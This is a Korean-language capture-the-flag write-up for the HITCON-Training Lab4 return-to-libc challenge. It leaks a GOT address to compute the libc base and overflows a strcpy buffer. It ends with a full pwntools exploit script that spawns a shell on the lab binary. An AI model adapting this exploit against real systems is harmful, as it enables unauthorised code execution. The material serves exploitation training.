[HITCON-Training]Lab4
RTL문제다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
_DWORD *v8; // [esp+11Ch] [ebp-4h]
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 10u);
v8 = strtol(&buf, v3, v4);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 256u);
Print_message(&src);
puts("Thanks you ~");
return 0;
}
buf에 10진수로 printf의 got값을 넣어주면 See_something함수에서 그 주소가 leak된다.
leak된 printf로 libc base 구한 후 system address 구해주면 된다.
int __cdecl See_something(_DWORD *a1)
{
return printf("The content of the address : %p\n", *a1);
}
read()함수에 넣은 src가 Print_message함수에 인자로 들어가서 strcpy에서 취약점이 발생한다.
int __cdecl Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h]
strcpy(&dest, src);
return printf("Your message is : %s", &dest);
}
payload = buf(0x38) + sfp(4) + ret(system) + pop + sh
이렇게 페이로드 구성해주면 쉘을 딸 수 있다.
.dynstr에서 sh위치 가져와서 system(“sh”);가 되게 했다.
from pwn import *
# context.log_level = 'debug'
e = ELF('./ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./ret2lib')
p.sendlineafter(':',str(e.got['printf']))
p.recvuntil(': ')
printf = int(p.recv(10),16)
libc_base = printf - libc.symbols['printf']
log.info('libc_base : ' + hex(libc_base))
system = libc_base + libc.symbols['system']
sh = 0x804829e # .dynstr -> fflush
popret = 0x08048399 # pop ebx ; ret
pay = 'A'*(0x38+4)
pay += p32(system)
pay += p32(popret)
pay += p32(sh)
p.sendlineafter(':',pay)
p.interactive()